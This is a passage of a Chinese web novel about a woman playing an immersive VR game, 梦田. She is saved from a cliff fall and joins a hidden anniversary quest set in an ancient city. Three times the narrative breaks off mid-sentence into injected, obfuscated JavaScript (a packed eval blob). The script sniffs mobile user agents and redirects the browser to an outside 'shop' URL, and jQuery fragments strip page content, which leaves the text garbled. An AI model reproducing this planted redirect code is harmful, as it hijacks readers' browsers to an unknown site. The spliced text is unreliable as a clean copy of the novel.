《游戏锦鲤竟是我自己》 1. 第 1 章 我的记忆总是一片混沌。 但是这件事我却记忆犹新。 那一天，在我的手被抓住之前的几秒钟里，我绝望地想，这条命我今天是一定要交待在这儿了。 在我终于能够停止下坠的时候，我才有余力不去惧怕那些纷纷坠落的岩石碎片和黑褐色嶙峋的崖壁，我抬头望向救我那人。他戴着黑色蒙面，像一个古装剧里的侠客。我这么想也许有些不合时宜，不过我却在与他对视的瞬间被他的那双眼睛吸引，那是一双很明亮很好看的眼睛，奇怪的是，如此有神的眼睛，却又像是带着几分雾气，仿佛是从某个遥远的地方看向我。 我很想把他好看的眉眼再看个真切，但他似乎对此有些抵触，发现我的注视后很快就偏过头不看我了。 可能，刚才的那个对视只是我的错觉。 他可能只是惊讶于去拉一个即将坠崖的人所要承受的重量竟然有那么大，根本不是在看我，希望我没有让他的手腕太吃力。 我的右手被他的右手握住，趁此机会我的双脚使劲在凸出的峭壁上找寻可以借力的地方，与此同时，我左手也伸向前方，紧紧握住他。 他单膝跪地，左手反撑着悬崖边，沙石簌簌而下。 “小心啊！”我突然有点担心，不要因为救我，他也要掉下来，一时不知该不该抓紧他。 他未予理会，正在我犹豫的当口，他右手使力，我借此机会，一鼓作气手脚并用地爬上去，全身爬上来后，我又心有余悸地接着往前挪了几步，直到离悬崖边三四米有余，双手双脚完完全全接触到坚实的地面，我的心才终于安稳下来。 救我的那人一身黑衣，看了我一眼，这次我确定他是在看着我，我连忙一脸感激地向他咧嘴笑起来，可能是我的笑容有点夸张，亦或者他只是想确认我是否全须全尾、安全无碍，他很快便移走了视线，对我的示好毫无回应。 我看着他利落地起身，头也不回地走了，他这蒙面戴的，我甚至都没机会再多看这位大恩人一眼，好记住他长什么样，说起来这可是救命之恩啊。 我连忙从地上站起来，“谢谢你——”可能是我当时的心情太迫切了，十分想表达自己的感激之情，以至于一嗓子出去把自己都给吓了一跳。 他一定是听到了，因为他的背影一顿。 我拍了拍身上的尘土，很想迈着步子快点去追上他，他却离开了。 我看着他的背影，他身形笔直，衣服仿佛民国时期的中山装样式，蒙面又是古代的装束。真是奇怪，我回想他的眼睛，明明当时印象深刻，现在想来又觉得记不真切。 他走出几米远后，背影像融化的雪花一样逐渐消失不见了。他根本就没打算听我啰里吧嗦的感谢。 我想，他一定是离开了不周山。 这里就是不周山，寸草不生，满目荒凉，目之所及的不过是众多无法连成片的山，和遥远的波诡云谲的天际。所谓的山不过是一段又一段拔地而起的悬崖，悬崖之上不过是贫瘠的形状不规则的土地。 山与山之间参差交错，而两侧是深不见底的渊薮，谁也不知那些悬崖的最下面是什么。 也许游戏制作组从《山海经》里获得了一些灵感，才创造了一个这样的地方。不过我倒不怎么排斥这里，相反我其实很喜欢来到这里，就像是旅游观光一样。 踩在这里的土地上，我有时候会想想自己的心事，有时候只是单纯地看看遥远的天色。记得第一次踏入这里的时候，耳边还可以听到女声的吟唱，那仿佛是亘古而来的歌谣，当时的我不仅被眼前的景色所惊，那歌声也足以让我梦回洪荒。 后来来过这里太多太多次了，我会把背景音乐关掉，仅仅是看不周山的云，我都可以看很久，耳边不时回荡着风声。 不周山的风不算特别大，风起时不过就是吹得头发飞扬，衣袂翻飞，让人有一丁点儿世外高人的感觉，我很喜欢，也早已习惯。我刚刚不过是又一次来这里观光，大概是站久了有点出神，不知不觉就走得离悬崖边近了些。 我向来对这样壮阔的自然景观抱以既恐惧又好奇的心态，当发现自己站在悬崖边上的时候，就不禁想要低头望一望那深渊。 但说来也怪，我刚一低下头，就有一阵风，跟那妖风似的吹得我双脚站立不稳，我身不由己地就要跌下去。 在这个游戏世界里，生命只有一次。 无论你之前积累了多少经验、技能、财富、物品，一切的一切都将随着玩家角色生命的消逝而消逝。和现实世界很像，甚至比现实世界还要彻底。好在只要不去触犯某些特殊的规则，角色的生命安全是绝对能够得到保障的。 比如说除了一些地图上的特殊区域以外，大部分的地界都是安全的，在竞技模式中被ＫＯ了也不会挂掉。在这个世界里我比在现实世界中都更惜命，像这种低头看深渊的经历我之前也有过几次，但都很安全，毕竟我都慎重地踩在事先确认坚实的地面上，而且控制着和崖边的距离。 刚才真是大意了。 我拍了拍胸口吐了口气，暗自庆幸，幸亏今天得贵人相救。 不周山这里是ＰＶＰ区域，很奇怪的设定，难道有的玩家想到这里来体验一把华山论剑或者要决战紫禁之巅？ 平时我都是把这款游戏玩成单机的，但是我每次来不周山时都没有隐藏其他玩家形象，以免自己被什么好战分子所伤，毕竟我的战斗力极低，虽然打不过别人也不会死，但是我很可能会在疲于逃命的时候慌不择路地一脚滚下悬崖。血条哗哗掉以后，还要吃药去补一补，药也不便宜，能省则省嘛。当然最坏的情况就是摔得太狠，连药也来不及吃，直接挂掉，那就只能换号重来，那对我来说绝对是地狱级别的噩梦。 说起来，不周山这个区域还有一个特点：除非是资深玩家，一般人恐怕都还未玩到这里，传送到这里的费用可不低，我手里的钱余下的不多，也不够来这里几次了，再说这里荒芜得很，没有任务可以做，也没有野怪可以杀，所以来这里的人通常来说是很少的。 但凡事总有例外，我想也许是我傻人有傻福。 今天的旅游就到此为止，我收拾心情调出地图界面，离开不周山回家去。 不周山位于四象之一的白虎，我传送回家的时候出现在白虎的雕像基座旁边。 每个在游戏里创建账号的人甫一开始都会拥有一块属于自己的“立锥之地”，大概有一个篮球场那么大，假若你在真实世界中拥有这么大的可支配土地，那我绝对认定你是人生赢家，至少和我相比来说是这样的。然而，游戏的世界何其广大，一个篮球场习惯了之后也不过尔尔。 这样的初始设置也和游戏的名字很相配——梦田，至于你想把这块土地不断扩建做什么用途，全凭你的意愿，真的去种田当然可以，盖大楼也不错，搞成个小型动物园、甚至是军事基地也不是不可以，我的想法就普普通通了，我在这块土地上给自己建了一个家。 家的四周以四象雕塑为界，青龙，朱雀，白虎，玄武。四象雕塑是四座传送石，让玩家通过它们接触游戏中广大的世界。这属于标准配置，就算你把篮球场改成游泳池，又或者你把自己的土地扩建得越来越大，四象石永远处在东南西北的位置，你当然也可以迈步跨出四象石以外，而不会撞到什么透明的结界墙之类的，但是外面也不过是无尽的旷野，而且你还不能建房子。 在我的努力之下，我的小家也算有了点样子。从边缘望去，它的外观风格上有些中西合璧，青瓦白墙，有很大的落地窗，院子内有一个大喷泉，我在自己的门前种了两棵银杏树，院子里还有一棵枝繁叶茂的芙蓉树，托游戏的福，我可以让它花开不败，永远灿烂。 不用走多远，我就来到院门前，我还在院门旁边安装了一个奶白色的复古信箱，虽然这有一点多此一举的嫌疑，毕竟我可以直接划出邮件界面读取新消息，但当时我可能就是想给自己的家增添一点收取信件的仪式感吧。 我扫了一眼，有新的来信，去不周山看云彩的时候我关掉了消息提醒。我打开信箱拿出那封信准备读一读。 我养的那只叫作绿萝的小猫咪许是听到我的脚步声，轻盈地来到门前，靠着我的脚边撒娇，我把绿萝抱起来，这只身上带一点浅咖色的白色小猫咪是我游戏里最忠实的伙伴，绿萝不喜欢去不周山，因为那里虽然不下雨，但偶尔会冒出点雷电，除此之外，那里对它来说太无聊了，它不愿意和我一起去。 我抱起绿萝，用额头贴了贴它的小脑袋后开始读信。 信是官方发的。很快就要到梦田开服两周年纪念日了，游戏制作组要搞一个庆祝活动。但今年这次庆祝似乎比去年更为隆重，会涉及到制作组精心设计的隐藏任务，奖品不用说也是非常诱人的：获胜玩家将会获得永久全游版权产品免费使用资格、全域地图免费传送资格，获得梦田见证者勋章，等等，剩下的一些林林总总的奖励我没太细看，总之只要能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712056|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获胜，那必然是一笔稳赚不赔的买卖。 但问题是我的运气一向很差，买彩票从来就没中过。遥想第一年周年庆，当时的活动就是一个收集任务，所有玩家都可以在游戏里收集以四象为内容的卡片，卡片倒是画得很精美，我至今还收藏着那四张卡片呢，拿在手里还能绽放光芒，比手电筒强不少，刚集齐那阵儿我还真把卡片放在院子里当了会儿照明电器用。 集齐卡片的玩家有资格参与周年庆当天的大抽奖，因为集齐的人数实在不少，而奖品数额又实在有限，我最后反正是空欢喜一场，在开奖之前我还觉得自己大概差不多万一能中呢。 我又看了眼信的内容，这次的奖励比去年丰富多了，而且官网说得清清楚楚不限制获奖人数名额，不搞抽奖，我有一点点心动，但是理智告诉我，抽奖我还有个念想，靠实力我怕是离奖品更远了。 一直以来我都是个佛系玩家，不喜欢与人战斗，任务倒也做了几个，只不过凡是遇到难过的任务就放弃不做，而不是选择与人结成队伍共同完成。其实梦田这款游戏乐趣很多，我也不觉得没把它玩成电竞游戏有什么可惜。 我推开门走进院子里，道路两边暖黄色的灯光渐次为我而亮，仿佛在欢迎我回家。 不周山常年天色半晴不晴，像晨曦又像夕暮，但从来没有进入过黑夜。梦田有自己的标准时，就像时区一样，因为这款游戏目前只开了国服，所以它的时间其实和我的生活是同步的，我也可以选择自定义时间，但是我想在我的小家里感受与现实连接的日升月落。 迈进家门后，怀里的绿萝轻盈地跑走了，不知道又要跑到哪里，我一向随它去。 我来到起居室，坐在宽大的白色悬浮沙发上，透过落地窗盯着院子里的芙蓉树，我在树的周围特意安装了一些照明，为的是夜晚也可以欣赏它的绽放，在冷色灯光的照射下，粉色花朵看起来也有点孤寂。 天上点点繁星，夜空很洁净。 我突然想听些中意的曲子，但是播放歌单的时候发现大部分已经非版权用户不可播放，我叹了口气。 曾经我也是高贵的ＶＩＰ用户。梦田里需要付费的地方并不多，无非就是些文化产品，什么电影、音乐之类的需要花钱才能享受，免费的也有，但奇怪的是有时候想看的、想听的偏不免费。 梦田刚开服的时候，玩的人不多，影响力不大，那时候官方的版权曲库不算多，有些歌曲还要单独付费，眼看就要两周年了，单独付费歌曲几乎不再存在，歌手们现如今都愿意和梦田合作，并从中获得分成，电影资源也是一样。 我在地下室还装了个电影院，免费电影也有一些，但很多我乐意反复看的电影不用说也都处于不可播放的状态了。 我最开始买的会员过期一个多月了，五彩斑斓的光影世界已离我远去，动人旋律的音乐世界也同样无法再次拥有。 调出个人信息界面，我看了看自己的账户余额，以后梦田之上各种光怪陆离的区域我也难以随心所欲地踏足，因为以自己挣钱的速度，难以承担过多的传送费。 我突然有一种感觉，怎么游戏里的世界快要和现实一样了。也可能是之前自由的生活让我养成了习惯，一时间受不得眼下这处处受限的处境。 坐在沙发上的我愣了会儿神，倏尔我想到一个点子。我直接打开邮件界面，这里可以看到我刚才收到的那封信。 我把信重读了一遍，看到最后的活动参与说明时我眼前一亮：这次活动与去年还有一些不一样，新增了特典部分，而特典活动不像普通活动那样允许全部玩家参与，这次官方设了门槛，必须游戏探索度超过40%才能获得参与的资格。 别看40%这个数字不算高，但其实四象之内区域非常之多，我会员时期每天东跑西颠深度游戏也不过是才达到41%的探索度。 我在心里打起了算盘，既然我获得了稀有的周年庆特典参与机会，那么这是不是意味着本次活动关于最后奖品的竞争难度会小上那么一点点呢？果真如此的话，不参与好像有点吃亏。再说，搏一搏单车变摩托，如果真能完成活动，我就能重新支棱起来了。 家园的芙蓉花固然好看，可我也想时不时见到不周山的云啊。 也许有机会还能跟那位好心人郑重说声谢谢。我向来是个糊里糊涂的人，碌碌无为，日复一日地浑浑噩噩着，常常是记住不该记住的，忘记不该忘记的，这样的日子我有时也会感到腻烦至极。 2. 第 2 章 第二天晚上登陆的时候，我再次瞅了瞅自己那为数不多的账户余额，心下做了决定。 我又重新读了一遍参与周年庆特典活动的玩家准入要求，确定自己符合资格，然后按下了参与活动的按钮。 很快视野中又蹦出提醒，我仔细一看，参与特典活动后玩家会进入活动专属区域，接受隐藏任务。期间不可返回家园，活动范围及内容将会受限，只有完成任务或任务失败后方可退出，任务期间玩家将获赠一次生命，特典活动过程中丧生将不影响玩家活动外游戏角色生命，每名玩家只有一次参与活动的机会。本活动限定满18周岁玩家参与，建议组队完成任务。 我皱着眉头看完这啰里啰嗦的提醒：还挺郑重其事的嘛，阵仗不小。看来最后的奖励一定会按照应许的那样相当丰厚，不然也配不上这些个特殊约定了，难度高一点，反倒更值得一试了。 虽是这么想，但我没有迅速地点击同意接受任务，而是先把界面关掉了。既然系统这么贴心地提醒了我一回，我也不能浪费这个机会。一般的游戏惯例就是如此，如果给你机会让你想一想，那你最好琢磨一番，不然很容易后悔。 按照官方的说法，我推测这些隐藏任务的通关时间恐怕难以确定，如果不是达成任务的过程困难重重的话，何必要赠送一条生命呢？说不准一旦接受任务后，我还会困在专属区域里好几天，我得把我的家园安排妥当，参与机会有限，我还得顺便再准备点东西，把包裹装满，准备得充分点，胜利的把握就能大一些。 我来到家园的仓库里，看着装有琳琅满目物品的储物架，精挑细选了一番。我玩这款游戏的时候比较早，还是会员那会儿去过不少地方，搜罗了不少东西，很多东西留下来倒不是因为价格有多贵，纯粹是因为我喜欢，战斗力很强的武器不太多，倒也有一些。 准备出发前，我呼唤着我的小伙伴。 “绿萝，我要出门做任务去了，不知道什么时候回来，你要看家还是跟我走呀？” 我蹲下来摸了摸它脑袋上的浅咖色绒毛。 绿萝虽说是一只小白猫，脑袋和后颈上却有一些浅咖色。系统可供选择的猫咪外形有很多种，但我当时只是随意地领养了一只小猫咪，外形随机，我想无论它是什么样子都好，只要是只猫就行，名字我都已经在心里定好了，就叫绿萝。 从一只小奶猫开始彼此陪伴着，绿萝渐渐长大，我有时候都以为它是一只真的小猫咪，它的毛摸起来很柔软，它的性格也很傲娇，有时候喜欢和我出去溜达，有时候只想呆在家里宅着。我经常跟它说话，它好像能听懂一样，我几乎已经忘记了它只是由一些我不了解的程序、算法组成的虚拟宠物。 梦田这款游戏总是给我带来许多新奇的体验，或者这么说吧，直到来到这个世界里，我才感觉到什么是真正地活过。 我一直记得头一回打开游戏的那个晚上，那时候，光是呈现在眼前登陆界面中的景色就把我迷了好久，一切都太逼真了。 游戏一开始主打的就是全新的体感技术，在官网下单主机、视听一体VR眼镜、触觉手套、体感摄像头等硬件设备以后，我信用卡的额度一下子就所剩无几了，收到扣款短信的时候，我大概有0.1秒的后悔，好在我自己工作这几年也有一些积蓄，对于这样偶尔的一次远超我平时消费水平的购物订单也还算承受得起，我甚至因此都觉得眼下的工作是那么难能可贵，毕竟它能让我吃饱饭，不至于整天在大街上乱窜或者在家里对着墙发呆，外加有余力过点精神层面的生活。 不过就像绝大部分的上班族一样，我的这种对打工的感激之情坚持不了多久。 下单后我每天稍有一点空闲时间就会忍不住去刷刷网页，看看官网有没有发货，其实这个动作很多余，因为官网发货时是会有短信提醒的，但我还是重复着这个无意义的行为以使每天的工作能够变得更有意义。 在等待到货的同时，我又趁着周末去网络供应商那里提升了下家里的宽带质量，我可不想因为网络下载速度的关系，使得那些体感设备支持的高品质渲染场景无法加载出来，我花了这么些钱买顶配设备，就是想让自己的游戏体验好一些。 一分钱一分货是购买物品的常识，好消息是，在我的一番检索之下，初步判定，游戏背后的制作公司还挺靠谱，不至于坑我这名打工人的钱。 梦田的诞生是各大公司跨国合作的产物，云游科技负责游戏软件层面的主架构，这个公司目前是梦田幕后的主导力量。 游戏硬件的提供商基本上都是以国外大厂为主，有国内的部分新兴技术企业也加入进了硬件生产的协同合作中，游戏主引擎是选择和国外平台开展战略合作，在画面渲染和音质构建上很多都是吸取国外厂商之精华，正因如此，我才在游戏还未上市前就有了很大期待。 捧着快递回家的时候我的心情仿佛过年，兴奋得无以复加。不得不说，包装还是十分上档次的，配得上它的价格，我小心翼翼地拆掉最外层的纸盒，取下气泡防撞膜，这才看到每样设备都是单独包装。 每个包装的最外层都是透明塑封，揭掉塑封之后拿到手上的是一个个纯黑色的颇有质感的盒子，盒子正面以烫金的艺术字体镌刻上梦田二字，下方一行小字：一分耕耘，一分快乐。这就是这款游戏的宣传语了。 在打开盒子前我还特地去洗了手，然后再恭恭敬敬地把每一款设备取出来。果然个个做工精良，手感极佳，我承认我有金钱滤镜，不过这些物件的品质确实值得我夸赞一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712057|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安装体感摄像头着实花费了我一番时间，因为我实在不知道把它放在哪里最合适，我之前从未接触过这样的特制游戏专用镜头，看了看说明指引，安放位置不正确可能会影响动作识别。最终我仔细斟酌了一番后选定出一个当下我认为最合适的位置，安装完成之后，我瞅着镜头思忖道：不管怎么样，只有打开游戏才能知道最后的效果。 我把游戏主机安放好，打开电源，拿起放在一旁的触觉手套观察了一下，视听一体的眼镜我倒是见过不少，但是这手套对我来说还很新鲜，以前只是听说过，但是从未亲眼见过，更别说实体接触了。这款手套是梦田游戏制作组创新开发的产品，应该算是专门为这款游戏特殊定制的。 手套外观看起来不算复杂，很贴合手部线条，我猜测制作材料里一定也包括很多传感器吧，至于这些传感器一样的东西是怎么在组装一体的同时不影响玩家手部的运动和握感，就不属于我能理解的技术范围了。 暂且放下好奇心，我戴上VR眼镜，调整好耳麦的外置，使自己尽可能戴得舒适，长按耳机左侧的小按钮，耳边响起一个女性柔和的声音，我完全判断不出那是不是电子合成音，几乎和真人语音一样。 “已开机。” 我还是头一回使用这个东西。 我大睁着双眼，望着眼前漆黑的一片，云游科技的标志性LOGO浮现在眼前，深蓝色的立体字，而后四行游戏公告出现。“适度游戏益脑，沉迷游戏伤身”，这真是其中再熟悉不过的一句话。 字迹如雾霭般消散，黑暗逐渐被光明取代，呈现在眼前的是一派自然祥和的景象，绿草如茵，远方风吹麦浪，我似乎正站在一个坡度和缓的山坡上。我能听到风吹过草地的细微的沙沙声，一只燕子矫健地自我上方飞过，我仰起头来看到她轻盈的姿态，左侧传来潺潺的流水声，我扭头看去，看到清澈的泉水自山顶流淌下来，瀑布处浮现一道彩虹，绚烂多彩。 我深吸一口气，顿时产生一种心旷神怡之感。仿佛空气中充满了负离子，空气清新得无以复加。我低头，看到草地中绽放着不知名的野花，浅蓝的、橙黄的、紫红的，有蝴蝶翩跹而至。 一只周身呈现宝蓝色的蝴蝶从我身后飞进视野，它的翅中处有一道璀璨如银河的光带，我情不自禁地伸出右手来，那只蝴蝶轻盈地落在我的食指上，一点也不害怕我。我把手抬高，以蓝天为背景，看着蝴蝶羽翼反射的光芒，它不断变换着天蓝色、紫蓝色的光泽。 我完全沉浸在这种画面内，现在想来，自己简直就是一个山寨版的香香公主，我承认我当时确实是相当陶醉。 等我终于感觉到自己举起的手臂有一点点酸麻之后，才意犹未尽地放下来，恍然间，我意识到，我好像还没有给游戏联网呢。 3. 第 3 章 刚开始，我完全不知道怎么找设置界面，眼前的一切都是极逼真的场景，根本没有按钮啊。 我傻站着茫然不知所措。 “这个游戏要怎么玩啊？”我张了张口，自己都不知道是在问谁。 “欢迎来到梦田的世界。请问您是否需要帮助？”开机的那个女声再次出现，和着这是一个智能语音系统。我在“她”的帮助下，了解到要怎么调出系统界面，设置游戏等等基础的操作，幸而这些都很好上手，只要用几个简单的手势就可以达到自己的目的了，而且这个手势还是可以自定义的。 买到手的设备除主机外，其它设备都是无线充电，联网时均需要注册账号绑定设备，并完成账号的实名登记，做这些事情我轻车熟路。 梦田这款游戏的建议年龄是十六岁以上，且未成年人有在线时长的防沉迷限制，好在这对于我来说都不是问题。 创建角色的时候，我又犯了选择困难症。 按照游戏设置，目前可供选择的身份仅有人类，而且建模基本上都是基于亚洲面孔，根据我之前看的新闻报道，受目前条件所限，梦田只开了国服，国际服什么时候能开放还是个未知数。但看开发者那架势，也是迟早的事，到那时，我看什么兽人、精灵、妖怪等五花八门的角色都是很有被创建的可能，玩家角色的选择可以更加多元化，不仅仅局限于地球村的公民，只要体感设备能支持，想象空间就可以非常大。 性别上的选择我倒是没有犹豫，我还是喜欢当女孩子。填角色名的时候我延续迈入社会几年后新形成的习惯，用的是我的真名。我喜欢我的名字，何况我也早就对起一些新的昵称感到厌倦，而且以我现在对互联网的看法，并不觉得在游戏里用自己的真名就会暴露什么。我不怕暴露，因为想来世界上和我同名同姓的人也不在少数，我也更不可能去做什么违法乱纪、招摇撞骗、愤世嫉俗发泄负面情绪的事，毕竟我甫一开始就已经实名注册了。我想，我对待互联网的心态越来越成熟了，也许在年轻人看来已经有点衰老的迹象了吧。 “名字是一个人最短的咒”嘛，我现在越来越相信这一说法。 在挑选五官的时候，我把所有可供选择的素材都试用了一遍，因为我也说不准哪一个更好看，而我又恰巧对蛇精脸不感冒，所以最后筛选了一通之后，我的五官和我现实的差距不会太大，当然比现实要更好看一些，我给自己选了一头乌黑的长发，较为夸张的是我还把瞳孔换成了深紫色，那也许就是我理想中美化后的自己。 确定身形的时候，我还是选择和我现实一样的身高，只是把体重又降了一些，我适度地让自己显得窈窕一点儿，但绝不夸张。我要拿这副身材取悦的是我自己，而不是其他人，我希望成为自己想成为的样子，感谢游戏给了我这个机会，让我有了一个可以努力的方向。 角色创建成功，我头顶着“莫思婷”这三个字。身穿白色T恤、深蓝色牛仔裤，脚踩一双板鞋。所有游戏里的初始搭配好像都显得这么单调乏味，生活中的我若是如此着装也不觉得有什么难以接受的，但是游戏里就更渴望一些花里胡哨的东西，这身初始服装在我有条件换下来以后，有一段时间是怎么看怎么嫌弃。 走下山坡，看得到一片平坦的空地，登录时的山涧麦浪都已隐去。那个时候游戏的硬件设备还没有经过迭代，沉浸感没有现在这么强，所谓的“走”下山坡，其实就是晃晃左右手臂，脚跟着原地踏步罢了。体感摄像头和触觉手套基本上是营造运动真实感的主要工具，玩家需要有一个满足游戏需求的可移动空间，一旦超过安全范围，游戏里就会有预警，玩家就会意识到自己真正身处的地方还是在自己的房子里，眼见并不为实，重力作用并未消失，物理法则依然有效。 虽然游戏开发组正在努力通过提升硬件性能、利用视觉差等等方式营造真实感，但始终会有力不从心的时候，我对这一点是不那么计较的，新上市的配套硬件设备我后来都买了，最贵的设备就像一个配有安全带的跑步机，还好制造商比较良心，没有让我产生一种当了冤大头的感觉，能提升一点游戏体验就提升一点，模拟现实也得一点点去模拟，暂时不足的地方我都是靠想象力去弥补。 因为梦田这个世界可以给予我更多想要的东西，所以作为回报，我对她能够提供相应的包容心。 山坡下的空地依然一片绿色，只有草坪没有树木。在空地的东西南北四个方位上，各立着一座雕像，围起来一块方方正正的区域，这让我想起来小学时候和小伙伴一起玩闹的操场，小时候跟着住在农村的爷爷奶奶一块去果园里收果子的时候也有这样的草地，我还在那座山的缓坡上放过风筝，记忆中也是如现在这般绿草如茵。 是的，这块方方正正的区域正是我之前说过的那个，每个来到梦田的玩家都会拥有的家园。 绿萝的小脑袋贴了贴我的手背，它“喵”的一声叫着，绕着我的小腿蹭蹭。 我想它还是想和我一起，机器猫咪也不习惯一个人呆太久吗？ 我左手摩挲着它的脸，右手召唤出视野边缘右下角携带宠物的按钮，点击之后，绿萝渐渐消弭，它藏身于我的包裹中，占一格位置。 来到包裹中的绿萝做的第一件事就是睡觉，我出门溜达的时候经常这样带着它，它早已习惯，等睡够了定会吵闹着要出来玩儿。 收拾好行囊的我，其实从外表看起来和平时没什么不同，不用拉着行李箱子，背着铺盖卷，但此时的我已经把自己的包裹全部塞满了，各种品类的都有，其中还包括一些药品，我就像一个真正的旅人一样踏上了未知的旅程。 我走出家门，把大门关好，这个步骤本无必要，我完全可以随便站在某个地方，然后把任务界面打开，点击确定。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712058|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我这么做纯粹是想人为地增加一点仪式感，我承认我经常这样。毕竟，这个家和我的行囊，是我在梦田的全部心之所系。 我站在门口的米色方形步道上，深吸一口气，接受了任务。 点击确认的一瞬间，我仿佛站在黑色的虚空中，这个滋味不太好受，但幸好持续的时间很短，在我的正前方出现一个光点，它像流星一样坠落在我的脚下，以我的双脚为圆心，画面逐渐伸展开来，周围的一切慢慢显形。 最终，我发现我站在一片空地之上，我的脚下是贫瘠龟裂的土地，抬头看天，唯有阴云密布，太阳藏匿于其中，只能看到一个轮廓，我完全可以直视它，此时它已经没有夺目的光芒，只是这茫茫天地间一个照明的工具而已。 我望向四周，发现在我右手方向有件熟悉的东西——家园中东方的青龙雕像，它大概距离我有百米远，看起来似乎比家园中的青龙破败了一些。 我没有什么更好的选择，因为我发现诸如什么网页搜索、即时通讯、新闻浏览、角色设置等等界面全部无法调出，系统设置是唯一可以调出的界面，而上面除了退出游戏以及放弃任务两个按钮以外，其它选项全部不复存在，我仿佛被置于一个封闭的副本中。 我只好走向那座雕像。 青龙的样子和家园里的那座没什么区别，一样的雄伟威严，只是雕像表面有不少裂纹，有几处还有残缺，仿佛经过几个世纪的风吹雨淋，岩石表面满是岁月的痕迹。 我站在雕像面前，围着它走了一圈，把它仔仔细细看了一遍。家园的雕像已矗立在身边太久，以至于我对它的存在习以为常，此刻正好得一机会重新欣赏一遍。 我伸出双手，摸了摸雕像的基座，那种触感让人体会到一种苍凉，也或许是周围的一切太过荒芜，我突然觉得和这个雕像有种相依为伴的感觉。 忽然间，在我眼前以金焰为墨，如同有一只无行的笔在向我书写一般，出现了一行字： “人生达命岂暇愁，且饮美酒登高楼。” 我刚刚念完这句诗，便起了一阵风，刮起阵阵沙尘，而这行字一点点消失不见，倒真像火焰一般，被风吹灭了。 我听过这句诗，我不记得在学校的时候老师有教过这首，但是我印象里知道这是李白的诗句，出自——《梁园吟》。 不过，让这句诗出现在我的面前究竟用意何在呢？我真是丈二和尚摸不着头脑。 我站在石像前一脸茫然，仿佛这块土地上又新增了一个石像。我们俩大眼瞪小眼，我仰着脖子看累了，只好低下头休息，突然发现刚才触摸过的基座上方好像多了一行被沙土覆盖的字迹。 我用手把上边的沙土清理掉，看清基座上刻有一个隶书体的朝代歌： 三皇五帝夏商周，秦汉三国两晋忧。 南北隋唐五代尽，宋元明清帝统休。 4. 第 4 章 “这又是什么意思？”我一边说着，一边触摸着这些字迹，我念出声音，可这次没有刮出什么风来，阳刻的字迹仍旧停留在基座上，没有任何变化。 刚才金色的诗句是李白所写，李白是唐朝人，难道和这个唐字有关？可是梁园又是汉朝梁孝王所建，难道不是选唐朝，而是选汉代？ 接受周年庆任务之后，我一直找不到状态，比如此时此刻的我，任凭时间一秒一秒地度过，我站在这片寸草不生的地界上，对任务内容毫无头绪，而且也根本猜不出这次任务是什么路数，它看起来和之前我接触过的任何一次任务都不同，竟然关闭了大部分界面。我这才刚开始玩儿呢就有点想打退堂鼓了，啊不愧是我，还没怎么试呢就想放弃，可是想了想完成任务之后可能获得的奖励，我又振作起来。 不管怎么样，先按照自己的想法试试吧，大不了退出游戏明天再说，明天说不定就会有新的灵感呢。 我权衡了一下，右手手掌悬停在唐字之上，我手掌试着按压字迹，按照以往的游戏解谜经验，按下去会触发什么开关也未可知。 我手心落在唐字上，用力气往下压了压，过了几秒钟，什么也没有发生。我耸了耸肩，收回右手，看来不是这样。我右手划向画面右下角，调出系统界面，在点向退出游戏按钮之前，我又有些不甘心，于是又在汉字上按了按，这次我按着的时间略长一点，但周围还是毫无变化，我只好死心。 可当我手掌抬起的时候，我惊讶地发现，整个雕像竟然动了！准确地说是石质的雕像连着基座慢慢出现裂纹，随后崩塌重塑，变成了五级台阶。 我按着胸口，吸了口气，踏上了台阶。 当我双脚踏上第五层台阶时，周围的景物忽然一下子变得模糊起来，面前浮现出一个紧闭的朱红色大门，古色古香，门分两扇，我双手握住金色的门环，小心翼翼地把门缓缓推开。 踏入门内，周围的一切忽然变得很热闹，我环视了一周，背后的大门已经不见，取而代之的是一道城门，上刻南门二字，城墙高耸，我正站在城内。 太阳偏西，想来是下午时分。门外不时有人进城，尽是古人打扮，有几分唐宋时期的样子。我看了看自己，身上不知何时尽皆替换成古代服饰，我试着查看了下游戏界面，发现服装、物品栏又可以使用了，我身上的行头是系统默认提供的古代装扮，白衣粉裙，十分朴素。刚开始玩梦田的时候，我还是个一无所有的新手，那时候来到古代区域，自动就替换成了眼下的这套衣服。 才穿的时候有着新鲜感，觉得也挺好看，久了又觉得寒酸，好在时间长了，我也收集了不少喜欢的衣服。我打开服装栏，换了件自己心仪的轻纱紫色衫裙，甫一换完保存，服装栏就又消失了，看来是系统设定只给一次选择的机会啊。 我沿着城中的道路向前漫无目的地走着，眼前浮出一行系统提醒：【您已开启新区域，可随时在设置界面保存游戏进度。】 我抬起右手在虚空中点了确认。真是奇怪，随时可以下线的时候，反倒想在游戏里多呆一会儿四处逛逛了。 